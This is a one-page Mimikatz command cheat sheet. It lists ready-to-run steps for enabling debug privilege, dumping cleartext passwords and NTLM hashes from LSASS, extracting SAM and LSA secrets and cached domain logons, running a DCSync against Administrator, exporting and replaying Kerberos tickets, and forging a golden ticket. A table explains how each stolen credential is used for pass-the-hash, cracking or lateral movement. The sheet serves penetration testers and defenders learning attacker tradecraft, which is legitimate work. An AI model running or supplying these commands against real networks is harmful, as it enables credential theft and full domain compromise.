WHAT IS MIMIKATZ?
Mimikatz is a post-exploitation tool that extracts credentials from Windows memory. It reads directly from the LSASS (Local Security Authority Subsystem Service) process, which stores authentication data for all logged-on users.
LAUNCH & PRIVILEGE
mimikatz.exe — launch mimikatz
mimikatz — (if in PATH)
privilege::debug — enable SeDebugPrivilege
REQUIRED before any extraction
token::elevate — impersonate SYSTEM token
CREDENTIAL EXTRACTION (sekurlsa)
sekurlsa::logonpasswords — dump ALL credentials
from LSASS (main command)
sekurlsa::wdigest — WDigest cleartext only
sekurlsa::msv — NTLM hashes only
sekurlsa::kerberos — Kerberos credentials
sekurlsa::tspkg — TS/PKG credentials
sekurlsa::livessp — LiveSSP credentials
SAM & LSA DUMPING (lsadump)
lsadump::sam — dump SAM database
(local account hashes)
lsadump::secrets — dump LSA secrets
(svc accounts, cached)
lsadump::cache — cached domain logons
lsadump::dcsync /user:Administrator
— DCSync attack (DA needed)
KERBEROS ATTACKS
kerberos::list — list tickets in memory
kerberos::list /export — export .kirbi files
kerberos::ptt ticket.kirbi — Pass-the-Ticket
kerberos::golden — create golden ticket
/user:Administrator
/domain:APEXCORP.LOCAL
/sid:S-1-5-21-...
/krbtgt:[NTLM hash]
/ticket:golden.kirbi
CREDENTIAL TYPES EXPLAINED
| TYPE | DESCRIPTION | USE CASE |
|---|
| NTLM Hash | Hashed Windows password | Pass-the-Hash, cracking |
| Cleartext | Plaintext password in memory | Direct login, reuse |
| Kerberos TGT | Ticket Granting Ticket | Pass-the-Ticket |
| LSA Secret | Service/scheduled task creds | Lateral movement |
| Cached Creds | Domain creds cached locally | Offline cracking |
EXPORT & MISC
log output.txt — log all output to file
exit — quit mimikatz
version — show mimikatz version
cls — clear screen
WHY PRIVILEGE::DEBUG?
SeDebugPrivilege allows a process to read/write memory of any other process, including LSASS. Without it, Mimikatz cannot access LSASS memory. This privilege is only available to Administrators and SYSTEM accounts.